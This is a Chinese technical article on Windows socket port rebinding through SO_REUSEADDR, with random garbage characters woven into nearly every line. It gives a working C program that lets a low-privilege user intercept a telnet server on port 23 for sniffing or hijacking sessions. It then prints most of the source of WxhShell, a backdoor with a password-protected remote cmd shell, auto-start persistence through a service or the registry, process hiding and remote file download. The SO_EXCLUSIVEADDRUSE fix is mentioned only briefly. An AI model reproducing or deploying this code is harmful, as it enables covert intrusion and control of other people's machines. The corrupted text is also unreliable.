在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
CN}0( 2n s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
(_+ux1h6^ lDF7~N9J_ saddr.sin_family = AF_INET;
R=$}uDFmW $9xp@8b\_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
e.#,9 Z}Q/u^Z bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
a;nYR5f WTjmU=<\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
?AQA>D#W ;Bw3@c 这意味着什么?意味着可以进行如下的攻击:
^R)]_ 2$VSH& 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"DH>4Q]
d .u=|h3& 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
z]LVq k hN\sC9a1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
dTlEEgR jxt]Z3a ~0 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
TZ3gJ6 Cb {*r!oD!' 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)K`tnb.Pf Pj_DI)^ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f^F"e'1 !R#PJH/TM 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
sIl&\g<b h(3-/4 #include
.I $+
E #include
lz1cLl
m #include
}W[=O:p #include
h|ib*%P_ DWORD WINAPI ClientThread(LPVOID lpParam);
l<ZHS'-;8 int main()
2R^Eea {
2+pXtP@O WORD wVersionRequested;
Fpwhyls DWORD ret;
rY1jC\ WSADATA wsaData;
@xso{$ z?j BOOL val;
,^<39ng SOCKADDR_IN saddr;
^gNbcWc7CU SOCKADDR_IN scaddr;
~?)y'? int err;
0ia-D`^me SOCKET s;
v6E5#pse8 SOCKET sc;
g:U
-kK!i int caddsize;
vq-;wdq?2 HANDLE mt;
Ir*{IVvej DWORD tid;
+qqCk wVersionRequested = MAKEWORD( 2, 2 );
C7}iwklcsa err = WSAStartup( wVersionRequested, &wsaData );
klY, @ if ( err != 0 ) {
twK 3 printf("error!WSAStartup failed!\n");
RyM29uD return -1;
IjQgmS~G }
FL&Y/5 saddr.sin_family = AF_INET;
jqTK7b ">S1,rhgS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v |pHbX aSJD'u4w.a saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
kho0@o+'^ saddr.sin_port = htons(23);
/^I!)|At if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
qg<Y^y {
jHA(mU)b printf("error!socket failed!\n");
F[F
NtZ return -1;
0;*[}M]Z }
/q7$"wP val = TRUE;
PlgpH'z4$ //SO_REUSEADDR选项就是可以实现端口重绑定的
f8UO`*O if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
sqjDh {
h uR ^l printf("error!setsockopt failed!\n");
N+H[Y4c?F& return -1;
322-'S3< }
w vI
v+Q9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
ed3wj3@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
8,VEuBZ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=)N6R m6 Y0,9 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
O`N,aYo {
EaH/Gg3 ret=GetLastError();
:!fY;c? printf("error!bind failed!\n");
1]A\@( return -1;
"d
M-3o< }
|<y1<O>F listen(s,2);
>fkV65w{* while(1)
%zDi|WZ {
6@FxPi9|# caddsize = sizeof(scaddr);
s&wm^R //接受连接请求
hAP2DeT$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
\8vZZ t if(sc!=INVALID_SOCKET)
M9(lxu y1 {
-*-"kzgd mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Ys?0hd<cn if(mt==NULL)
A8AeM` {
1-.i^Hal printf("Thread Creat Failed!\n");
R mo'3 break;
4<5*HpW }
AP4s_X+= }
:`<MlX CloseHandle(mt);
T8W^qrx.v }
qDfhR`1k closesocket(s);
8vfC WSACleanup();
<$#^)]Ts return 0;
kKDf%= }
o4LVG DWORD WINAPI ClientThread(LPVOID lpParam)
04}c_XFFE {
Y;dqrA>@ SOCKET ss = (SOCKET)lpParam;
]~ S
zb SOCKET sc;
)]E?~ $, unsigned char buf[4096];
rg]z SOCKADDR_IN saddr;
-&) long num;
,zJ:a>v DWORD val;
XB:E<I'q!3 DWORD ret;
4s"x}c">F //如果是隐藏端口应用的话,可以在此处加一些判断
' 8Q}pp` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
0U#m7j saddr.sin_family = AF_INET;
9o]!D,u8=5 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
=vDDfPR saddr.sin_port = htons(23);
xf|C{XV@H if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
-KG1"g,2 {
zY-?Bv_D printf("error!socket failed!\n");
qzSm]l?z return -1;
!2/o]_K@+ }
XG5T`>Yl val = 100;
,XN4Iy#BZl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
vo~Qo;m {
w7\
\m9 ret = GetLastError();
Wrt5eYy return -1;
9PaV*S(\TR }
, 0?_?
GO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
]IDhE{ {
V~Jt ret = GetLastError();
5CH8;sMK return -1;
bZj5qjl`x }
y"K[#&,0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
yD0DPtti {
c s:E^ printf("error!socket connect failed!\n");
G1I<B closesocket(sc);
SWT)M1O2 closesocket(ss);
*fLVzYpo return -1;
azRp4~2? }
S]4!uv^y while(1)
;D%H}+Z {
a,n#E!zT?w //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
9w1`_r[J //如果是嗅探内容的话,可以再此处进行内容分析和记录
kp6 &e //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
i|S/g.r num = recv(ss,buf,4096,0);
SF"r</c[ if(num>0)
R#rfnP >
send(sc,buf,num,0);
'=Acg"aT else if(num==0)
tQTjqy{K break;
#;;A~d:V num = recv(sc,buf,4096,0);
PMQlJ& if(num>0)
nY?&k$n send(ss,buf,num,0);
Ypinbej else if(num==0)
{ /
,?3 break;
)t2 eg1a: }
Ac}5, closesocket(ss);
H}8kku>7 closesocket(sc);
]7q|) S\ return 0 ;
`y{[e j }
`@So6%3Y| /7ykmW z.tN<P 7 ==========================================================
iRV=I, QQ %W3D@ 下边附上一个代码,,WXhSHELL
B f.- 5 UH((d*HX4 ==========================================================
{GGP8 AyOy&]g #include "stdafx.h"
Y+0GJuBf hANe$10=H #include <stdio.h>
vVjk9_Ul #include <string.h>
:8]y*j #include <windows.h>
I(z16wQ #include <winsock2.h>
zkd^5A; ` #include <winsvc.h>
=yPV9#(I/ #include <urlmon.h>
:edy(vC< \9}DAM_ #pragma comment (lib, "Ws2_32.lib")
Sh:_YD^( #pragma comment (lib, "urlmon.lib")
L} K8cB sdN1BV2 #define MAX_USER 100 // 最大客户端连接数
AH:0h X6+ #define BUF_SOCK 200 // sock buffer
,=: -&~? #define KEY_BUFF 255 // 输入 buffer
HY(XI u ROO@EQ#`Z #define REBOOT 0 // 重启
E+$D$a #define SHUTDOWN 1 // 关机
<2N=cH' u$D%Iz #define DEF_PORT 5000 // 监听端口
[7,q@>:CS m@",Zr`f= #define REG_LEN 16 // 注册表键长度
HzsQ`M4cA #define SVC_LEN 80 // NT服务名长度
gIKQip< 7s Gf_`Z // 从dll定义API
P]2V~I/X typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
c/l^;6O/!\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
\4O_@d`A typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
C>QWV[F typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Tz&h[+ 6` v]}\Ns/ // wxhshell配置信息
YhP+{Y8t struct WSCFG {
4v9d&
m!< int ws_port; // 监听端口
s|k&@jH) char ws_passstr[REG_LEN]; // 口令
TK0W=&6#A int ws_autoins; // 安装标记, 1=yes 0=no
n(sseQ|\ char ws_regname[REG_LEN]; // 注册表键名
\Qf2:[-V0 char ws_svcname[REG_LEN]; // 服务名
|FSp`P char ws_svcdisp[SVC_LEN]; // 服务显示名
mrig5{ char ws_svcdesc[SVC_LEN]; // 服务描述信息
g|tclBx char ws_passmsg[SVC_LEN]; // 密码输入提示信息
*n6L3"cO int ws_downexe; // 下载执行标记, 1=yes 0=no
~_wSB[z char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
F!-%v5.y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Q07&7SH_ FB
%-$ };
?}(B8^ N@^:IfJ+= // default Wxhshell configuration
,E"n 7*6mr struct WSCFG wscfg={DEF_PORT,
DHZ`y[&}|N "xuhuanlingzhe",
SF da?> 1,
v4XEp
"Wxhshell",
ClNuO "Wxhshell",
D2RvFlAXu "WxhShell Service",
\m=k~Cf:f "Wrsky Windows CmdShell Service",
E;An':j "Please Input Your Password: ",
U/_hH*N"! 1,
xtK\-[n "
http://www.wrsky.com/wxhshell.exe",
` }B,w-,io "Wxhshell.exe"
kM(m$Oo. };
hoLA*v2< t/l<X]o // 消息定义模块
P(a}OlG char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
%D~Mij char *msg_ws_prompt="\n\r? for help\n\r#>";
g8@F/$HY char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Lyit`j~yH char *msg_ws_ext="\n\rExit.";
FrE#l.)?! char *msg_ws_end="\n\rQuit.";
!'B=']. char *msg_ws_boot="\n\rReboot...";
\u;`Lf char *msg_ws_poff="\n\rShutdown...";
l hST%3Ld char *msg_ws_down="\n\rSave to ";
+,j6dYub IR8yE`(h char *msg_ws_err="\n\rErr!";
!7p&n3dz char *msg_ws_ok="\n\rOK!";
QlS_{XV s'bTP(wl9 char ExeFile[MAX_PATH];
6h0}ZM int nUser = 0;
%pqB/ HANDLE handles[MAX_USER];
#WS>Z3AY int OsIsNt;
'%YE#1*gH 8s
%YudW SERVICE_STATUS serviceStatus;
L~RFI&b
SERVICE_STATUS_HANDLE hServiceStatusHandle;
c0;rvw7 ^F&j;8U // 函数声明
z[y int Install(void);
v8n^~=SH int Uninstall(void);
amQTPNI int DownloadFile(char *sURL, SOCKET wsh);
gdq6jz int Boot(int flag);
}_('3C,Ba void HideProc(void);
M+b?qw int GetOsVer(void);
7
D{% int Wxhshell(SOCKET wsl);
B:Awy/XMi void TalkWithClient(void *cs);
Z*-a=u%gl' int CmdShell(SOCKET sock);
S)/548=` int StartFromService(void);
jmcys
_N3 int StartWxhshell(LPSTR lpCmdLine);
2\;/mQI2A z;_vl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
|dDKO VOID WINAPI NTServiceHandler( DWORD fdwControl );
ZT8LMPC T|0d2aa // 数据结构和表定义
"oyBF CW SERVICE_TABLE_ENTRY DispatchTable[] =
\xcf<y3_ {
g's!\kr {wscfg.ws_svcname, NTServiceMain},
~Yc!~Rz {NULL, NULL}
D4uAwmc };
? % A2 [B +:)i // 自我安装
c2?VjuB0 int Install(void)
y~su1wUp {
9ExI, char svExeFile[MAX_PATH];
\L`x![$~q HKEY key;
$\|Q+ 7lQ strcpy(svExeFile,ExeFile);
`6;$Z)=. ]2
$T 6 // 如果是win9x系统,修改注册表设为自启动
X4Pm&ol if(!OsIsNt) {
a6O <t;& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
*adznd RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`r-3"or/$ RegCloseKey(key);
$cU7)vmK` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
6 N:Ps8Hg RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Zo
}^"u RegCloseKey(key);
IAmZ_2 return 0;
B<HN$/ }
L&~' SC }
<0 qhc$M }
H6Bw3I[ else {
*aFY+.;U` 29m$S7[ // 如果是NT以上系统,安装为系统服务
B|,d
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7B\Q5fLQ if (schSCManager!=0)
$15H_X*! {
"_&c[VptWi SC_HANDLE schService = CreateService
+S`cUn7 (
!IA\c(c^ schSCManager,
.!Kqcz% A wscfg.ws_svcname,
M{)&SNI*C wscfg.ws_svcdisp,
j%Xa8$ SERVICE_ALL_ACCESS,
"a3?m) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
/Ov1eQBNG SERVICE_AUTO_START,
R/kJUl6HEl SERVICE_ERROR_NORMAL,
L#J2J$= svExeFile,
&`m$Zzl;
NULL,
nh"dPE7^ NULL,
E31YkD.A NULL,
7#NHPn NULL,
O.-n&U9 NULL
!2^~ar{2 );
WuFBt=% if (schService!=0)
W0Y
,3;0 {
5 jUy[w @ CloseServiceHandle(schService);
D$*o}*mb CloseServiceHandle(schSCManager);
1N:~5S}s> strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
-ZyY95E< strcat(svExeFile,wscfg.ws_svcname);
ek]nLN if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Wq"-T.i RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]f&f_"D RegCloseKey(key);
e+D]9wM8 return 0;
_[-W*,xJ) }
xR|^{y9n }
O&yAFiCd CloseServiceHandle(schSCManager);
K]G(u"' }
]61HQ }
T,rRE7 x5V))~Ou return 1;
GZKYRPg }
Yyr9Kj: -A=3W3:C // 自我卸载
DdUw~n, int Uninstall(void)
:Fu7T1 {
{$i>\) HKEY key;
/&_q"y9 BG=
J8 if(!OsIsNt) {
9I;~P & if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E^br-{|{ RegDeleteValue(key,wscfg.ws_regname);
';My"/
Z- RegCloseKey(key);
L F } d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
TA2ETvz^ RegDeleteValue(key,wscfg.ws_regname);
ZS;V?]\( RegCloseKey(key);
E_DQ.!U!o return 0;
odC"#Rb }
yT5OFD|T }
yU4mS;GX }
} .Z` else {
9V[}#(f$ gIusp917 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
0@{0#W3R if (schSCManager!=0)
*Uj;a. {
k0#s{<I]E SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
h]+;"v6 / if (schService!=0)
LHXR7Fjc {
i/H;4#Bz if(DeleteService(schService)!=0) {
H(P]Z~et CloseServiceHandle(schService);
>]xW{71F@ CloseServiceHandle(schSCManager);
hITYBPqRO return 0;
1 ]
cLbJ }
.4tu{\YX CloseServiceHandle(schService);
P:N>#G~z }
0t}v@-abU CloseServiceHandle(schSCManager);
t[|t0y8 }
<hiv8/)? }
_X mxBtk9f 6M_:D return 1;
_aF8Us }
FI.F6d)E$ Us!ZQ#pP // 从指定url下载文件
G
&NK int DownloadFile(char *sURL, SOCKET wsh)
ZfH>UHft {
8ih_S2Cd HRESULT hr;
nqo1+OR char seps[]= "/";
:KA)4[#;W char *token;
) \T H' char *file;
h6^|f%\w*i char myURL[MAX_PATH];
sgGA0af char myFILE[MAX_PATH];
a0gg<Ml ;<B strcpy(myURL,sURL);
s%`l>#H token=strtok(myURL,seps);
VHMQY*lk while(token!=NULL)
0Xw>_#Y/xS {
s-+-?$K file=token;
C.ji]P# token=strtok(NULL,seps);
H!u8+ }
[fV"tf; Mj6,VD9L GetCurrentDirectory(MAX_PATH,myFILE);
(a8iCci: strcat(myFILE, "\\");
2[uFAgf@ strcat(myFILE, file);
G.~Q2O#T send(wsh,myFILE,strlen(myFILE),0);
REE.8_ send(wsh,"...",3,0);
!ehjLFS? _ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
1iLo$ if(hr==S_OK)
2,`X@N`\ return 0;
$fT5Vc]B4 else
f\_PNZCc return 1;
3nc\6v% O6)Po }
.ml\z5 K sE$^` // 系统电源模块
oe2*$\?. int Boot(int flag)
v
@0G^z| {
gh\u@#$8 HANDLE hToken;
,=4,eCS TOKEN_PRIVILEGES tkp;
e98QT9 ;CF:cH* if(OsIsNt) {
+hr|$ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
Ky,upU LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
`PL}8ydZ tkp.PrivilegeCount = 1;
N>"L2E=z$| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Z_4%Oi AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
buN@O7\ if(flag==REBOOT) {
wv." if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^uN[rHZ*u return 0;
a{Y|`*7y }
3en67l else {
l5Ko9CG if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aF+Lam( return 0;
y*{zX=]l< }
gN:F5 0 }
7x>^ip"7 else {
Q2r[^Z if(flag==REBOOT) {
;*j
K! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Z'y &11 return 0;
r(uo-/7z }
oxN5:) else {
N<a%l J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
K-#d1+P+ return 0;
/KF@Un_Ow }
dhLR#m30T }
J8r8#Zz =RD>#' sUK return 1;
BA1uo0S `S }
}EkL[H! J( XDwt // win9x进程隐藏模块
jQ3dLctn void HideProc(void)
G"J
nQ {
iJ^}{- rZ3ji(4HS HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
03v& k if ( hKernel != NULL )
pgh(~[ {
K;sC#9m pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
S sW<,T ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Aipm=C8 FreeLibrary(hKernel);
lW-h
@ }
I8)D { m~)~/z? return;
#2ta8m), }
b/
\EN) ;#9?3Os // 获取操作系统版本
fv+ET:T% int GetOsVer(void)
u%:`r*r {
U!r8}@ OSVERSIONINFO winfo;
XK3O,XM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
^O@eyP GetVersionEx(&winfo);
B!x#|vGXL if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
l+P!I{n return 1;
b)KEB9w else
?rQ .nN return 0;
tB~#;:g }
,m?V3xvq Z+y'w#MZL // 客户端句柄模块
a
dr\l5pWQ int Wxhshell(SOCKET wsl)
c YgJ}(>} {
nng|m SOCKET wsh;
}lX$KuD struct sockaddr_in client;
OHBCanZZ, DWORD myID;
dLb$3!3 EF\OM?R while(nUser<MAX_USER)
WXmfh {
T\.(e*hC int nSize=sizeof(client);
*`u|1}h| wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
iw/~t if(wsh==INVALID_SOCKET) return 1;
a'jUM+D; TY %zw6 #p handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
lkTA"8d if(handles[nUser]==0)
iv +a5 closesocket(wsh);
g_c@Kyf else
77[TqRLf nUser++;
;k `51=Wi }
!;*flr`/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
b_F1?:# )2Sh oFF return 0;
iTAj${ > }
Ly8=SIZ bHRn}K+<}c // 关闭 socket
xJ{r9~ void CloseIt(SOCKET wsh)
W;7$Dq: {
mwLf)xt0' closesocket(wsh);
96~y\X@x nUser--;
LJPJENtFIs ExitThread(0);
"zY~*3d }
J~WT;s +%\Ci!%b // 客户端请求句柄
CqC
)H7A void TalkWithClient(void *cs)
$eI
cCLF {
K)>F03=uE zX*5yNd SOCKET wsh=(SOCKET)cs;
_`;KmD&5 char pwd[SVC_LEN];
`dV2\^*A char cmd[KEY_BUFF];
Ot-P
J
i char chr[1];
o[_,r]%+D int i,j;
Oo;]j)z X\Zan$oi while (nUser < MAX_USER) {
K\%\p$ZD j3-o}6 if(wscfg.ws_passstr) {
ed',\+.uB if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
PZqp;!:xz //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8,IF%Z+LI //ZeroMemory(pwd,KEY_BUFF);
e16H@ i=0;
t{iRCj while(i<SVC_LEN) {
k-n`R)p: e`={_R{N // 设置超时
*w*K&$g fd_set FdRead;
,
p}:?uR struct timeval TimeOut;
< r~hU*u FD_ZERO(&FdRead);
CUH u= FD_SET(wsh,&FdRead);
`K+%/|! TimeOut.tv_sec=8;
su=MMr> TimeOut.tv_usec=0;
[06m{QJ)1 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
lmHQ"z 3G if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iy]L"7&Z2 S`5bcxI_ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
W|fE]RY pwd
=chr[0]; h.#:7d(g
if(chr[0]==0xd || chr[0]==0xa) { 8Snv, Lb`^
pwd=0; A+Isk{d
break; td%J.&K_*'
} RRS)7fFm
i++; D`^wj FF
} M&/4SVBF
9yTdbpY
// 如果是非法用户,关闭 socket tKUW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); yW'{Z]09
} [Lje?M* r
L:Rg3eo
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); kJuG haO
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dpq(=s`s
wg)Bx#>\L:
while(1) { B/a`5&G]
Xykoq"dbb
ZeroMemory(cmd,KEY_BUFF); ^"|q~2
Ey:?!
// 自动支持客户端 telnet标准 |g}r
j=0; 8*/;W&7y
while(j<KEY_BUFF) { azIhp{rHw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i@rUZYF
cmd[j]=chr[0]; C)i8XX
if(chr[0]==0xa || chr[0]==0xd) { =dNE1rdzNa
cmd[j]=0; D>{`I'
break; kBA.N l7
} SPlt=*C#_
j++; J1O1! .
} ~;$QSO\2h
L3oL>r'|
// 下载文件 LqD7SJ}/f
if(strstr(cmd,"http://")) { ?Ybq]J\q
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3AdYZ7J
if(DownloadFile(cmd,wsh)) "ADI.
send(wsh,msg_ws_err,strlen(msg_ws_err),0);
YC6guy>
else ^wZx=kas
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TC<Rg?&yb
} 6c^?DLy9B
else { e)?}2
+$L}B-F
switch(cmd[0]) { $t& o(]m
]'%
iR
// 帮助 ;Ngk"5
case '?': { g,iW^M
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,rN$ah$CL
break; _Cz98VqRk
} ~v\
W[
// 安装 zMp vS rc
case 'i': { t=}]4&Yp
if(Install()) /"`hz6rIv
send(wsh,msg_ws_err,strlen(msg_ws_err),0); u*%mUh
else hx@@[sKF7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "__)RHH:8
break; u0+F2+ I
} ^#e|^]]
L
// 卸载 [[T6X9
case 'r': { kdGq\k,
if(Uninstall()) \41/84BA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); .9ZK@xM&?
else 'vtJl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ygja{W.
break; |) ~-Wy
} I@VzH(da\
// 显示 wxhshell 所在路径 7t<h 'g2
case 'p': { dr"$@
char svExeFile[MAX_PATH]; nl(GoX$vRQ
strcpy(svExeFile,"\n\r"); 4=^Ha%l
strcat(svExeFile,ExeFile); V /\Y(Mxc
send(wsh,svExeFile,strlen(svExeFile),0); g?xXX
/Qe
break; I:DAn!N-A*
} DFZ0~+rh
// 重启 w3
vZ}1|
case 'b': { 1l)j(,Zd*
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 7&P70DO
if(Boot(REBOOT)) pFMjfWD,C
send(wsh,msg_ws_err,strlen(msg_ws_err),0); PhuHfw4$y,
else { Ppl :_Of
closesocket(wsh); j|[$P4w}U
ExitThread(0); 3r[F1z2B
} _nz_.w0H9
break; ,<P"\W
} yph@H!@
// 关机 aJ=)5%$6kc
case 'd': { q0ab]g+
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cyd&bxPgj+
if(Boot(SHUTDOWN)) C=Fu1Hpb
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k1g-%DB
else { l%Ke>9C
closesocket(wsh); R*cef
ExitThread(0); W.{+0xx
} H~#$AD+H
break; U9PI#TX
&O
} uAnL`
// 获取shell MaPhG<?
case 's': { @6~m&$R/
CmdShell(wsh); ;,]4A{|
closesocket(wsh); k9H}nP$F
ExitThread(0); qB@N|Bb
break; $;=^|I4E
} ktfxb<%
// 退出 J3 oUtu
case 'x': { Ux^ue9
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4IOqSB|
CloseIt(wsh); &x*l{s[
break; J80&npsO
} n?6^j8i
// 离开 _?felxG[
case 'q': { %LHt{:9.
send(wsh,msg_ws_end,strlen(msg_ws_end),0); njJTEUd">
closesocket(wsh); 7Cz=;
WSACleanup(); d^~yUk
exit(1);
Rq2bj_ j
break; h*<`ct xL
} nt&%
sM-X
} `%Kj+^|DS
} 5G2ueRVb
< <0[PJ
// 提示信息 >\'}&oi
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {%('|(57
} 8f~*T
} @Kt!uKrI
tr0kTW$Ad
return; =C(BZ+-^
} r&v!2A]:
<x<qO=lq
// shell模块句柄 J<"Z6 '0v
int CmdShell(SOCKET sock) &a\w+
{ Zd-QZ<c";t
STARTUPINFO si; 3zfiegY@wm
ZeroMemory(&si,sizeof(si)); ~3Qa-s;g
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; leSBR,C
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *h?}~!AjY
PROCESS_INFORMATION ProcessInfo; 7,?ai6{
char cmdline[]="cmd"; s^)(.e_
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %>zG;4
return 0; OiC|~8
} N1y,~Z
I
WT|dA >
// 自身启动模式 Oel%lY}m3
int StartFromService(void) P^q!Pye
{ pox;NdX7
typedef struct Wo9=cYC)
{ ia.+<,
$`S
DWORD ExitStatus; YGyw^$.w
DWORD PebBaseAddress; -`spu)
DWORD AffinityMask; 9"Dt3>Z
DWORD BasePriority; d"3x11|
ULONG UniqueProcessId; pXQ$n:e
